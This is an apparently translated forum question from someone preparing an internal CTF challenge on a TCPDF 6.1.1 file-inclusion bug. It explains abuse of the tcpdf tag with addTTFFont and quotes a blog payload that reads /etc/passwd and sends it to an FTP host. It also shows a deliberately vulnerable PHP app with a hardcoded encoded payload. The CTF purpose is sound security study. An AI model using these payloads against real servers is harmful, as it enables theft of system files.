Sto facendo alcune sfide come parte di un CTF interno che stiamo ospitando. Come parte delle sfide, una delle cose che stavo pianificando di dare era File Inclusion
usando una vulnerabilità in una certa versione di TCPDF.
Stavo cercando di seguire il blog qui per avere una comprensione del bug stesso: Inclusione di file tramite TCPDF rotto
Comprendo la vulnerabilità in poche parole, ovvero che TCPDF, per impostazione predefinita, ha accesso a un tag speciale <tcpdf />
che consente l'esecuzione dei metodi TCPDF disponibili insieme ai parametri.
Quindi ad esempio se:
<tcpdf method="some_method" params="abcd"/>
quanto sopra è passato a writeHTML()
TCPDF chiamerebbe some_method()
con i parametri abcd
.
E per poter leggere i file, verrà utilizzato uno specifico metodo TCPDF chiamato addTTFFont
che prende come parametri i seguenti:
- $ fontfile: il file da prelevare dal server. Ogni file leggibile può essere selezionato.
- $ fonttype - Deve essere impostato su TrueType affinché l'attacco funzioni.
- $ outpath - Posizione per l'output per il file.
Inserendo un ftp-location, come terzo parametro, il file verrà caricato in remoto.
Per favore correggimi se la mia comprensione non è corretta qui.
Ora, ecco cosa non capisco dal blog sopra. La riga che dice:
By generating a tcpdf-element using the following code: $params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass@host/')));
Cosa sta cercando di spiegare l'autore nella riga sopra?
Anche per poter riprodurre questa vulnerabilità, ecco cosa ho provato:
Ha ospitato un'applicazione molto semplice (e ovviamente vulnerabile in molti modi) sul mio server Aapache locale e ha utilizzato TCPDF V 6.1.1
in quanto questa era la versione immediatamente precedente alla 6.2.0 in cui il bug era stato corretto.
L'app consente semplicemente agli utenti di registrarsi e accedere. All'accesso l'utente ottiene una pagina come efacendoclicsullinkinrosso,vienegeneratounfilePDFperl'utenteconilsuonomecome:
gogo
erailnomeutente.
Orasottoc'èilcodicechegenerailPDF(gen_pdf.php):
<?phpsession_start();require_once('tcpdf_include.php');if(isset($_SESSION['username'])){//ExtendtheTCPDFclasstocreatecustomHeaderandFooterclassMYPDFextendsTCPDF{//PageheaderpublicfunctionHeader(){//Logo$image_file=K_PATH_IMAGES.'logo_example.jpg';$this->Image($image_file,10,10,15,'','JPG','','T',false,300,'',false,false,0,false,false,false);//Setfont$this->SetFont('helvetica','B',20);//Titletorightallignment$this->Cell(0,15,'<<TheMachinev/sSamaritan>>',1,false,'',0,'',0,false,'T','M');}}$pdf=newMYPDF(PDF_PAGE_ORIENTATION,PDF_UNIT,PDF_PAGE_FORMAT,true,'UTF-8',false);$pdf->SetCreator(PDF_CREATOR);$pdf->SetAuthor('JohnReese');$pdf->SetTitle('TheMachineMustLive');$pdf->SetSubject('Thefutureisinevitable.');$pdf->SetKeywords('TheMachine,Samaritan,Mr.Reese');//setdefaultheaderdata$pdf->SetHeaderData(PDF_HEADER_LOGO,PDF_HEADER_LOGO_WIDTH,PDF_HEADER_TITLE.'001',PDF_HEADER_STRING,array(0,64,255),array(0,64,128));$pdf->setFooterData(array(0,64,0),array(0,64,128));//setheaderandfooterfonts$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA,'',PDF_FONT_SIZE_DATA));//setdefaultmonospacedfont$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);//setmargins$pdf->SetMargins(PDF_MARGIN_LEFT,PDF_MARGIN_TOP,PDF_MARGIN_RIGHT);$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);//setautopagebreaks$pdf->SetAutoPageBreak(TRUE,PDF_MARGIN_BOTTOM);//setimagescalefactor$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);//setsomelanguage-dependentstrings(optional)if(@file_exists(dirname(__FILE__).'/lang/eng.php')){require_once(dirname(__FILE__).'/lang/eng.php');$pdf->setLanguageArray($l);}//---------------------------------------------------------//setdefaultfontsubsettingmode$pdf->setFontSubsetting(true);//Setfont//dejavusansisaUTF-8Unicodefont,ifyouonlyneedto//printstandardASCIIchars,youcanusecorefontslike//helveticaortimestoreducefilesize.$pdf->SetFont('dejavusans','',14,'',true);//settextshadoweffect$pdf->setTextShadow(array('enabled'=>true,'depth_w'=>0.2,'depth_h'=>0.2,'color'=>array(196,196,196),'opacity'=>1,'blend_mode'=>'Normal'));//Setsomecontenttoprint$html=<<<EOD<div><h1>WelcometoTomorrow!!<spanstyle="color:black;"></span></h1>
<i>This Machine is growing weaker and we need to keep it safe.</i>
<p>This is the world of the <i>Samaritan</i> and it needs to be protected <i>Mr. Rees and Root will be there for your help</i>.</p>
<p>All the best for your travel ... </p>
</div>
EOD;
$pdf->AddPage('P');
$html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
}
?>
Ho modificato solo questa parte del codice precedente:
$pdf->AddPage('P');
$html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
a questo:
$pdf->AddPage('P');
$html = "<tcpdf method=\"addTTFFont\" params=\"%5B%22CHANGELOG.TXT%22%2C%22TrueType%22%2C%22%22%2C255%2C%22%5C%2Ftmp%5C%2Ftcpdf_bug.txt%22%5D\"/>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
che è hardcoded del payload di exploit (solo per verificare se le cose funzionano), dove CHANGELOG.TXT
è un file già presente nella stessa directory di gen_pdf.php
Output Nessun file tcpdf_bug.txt sembra essere generato in \ tmp.
Che cosa sto facendo male qui? Per favore aiutami a creare questo PoC.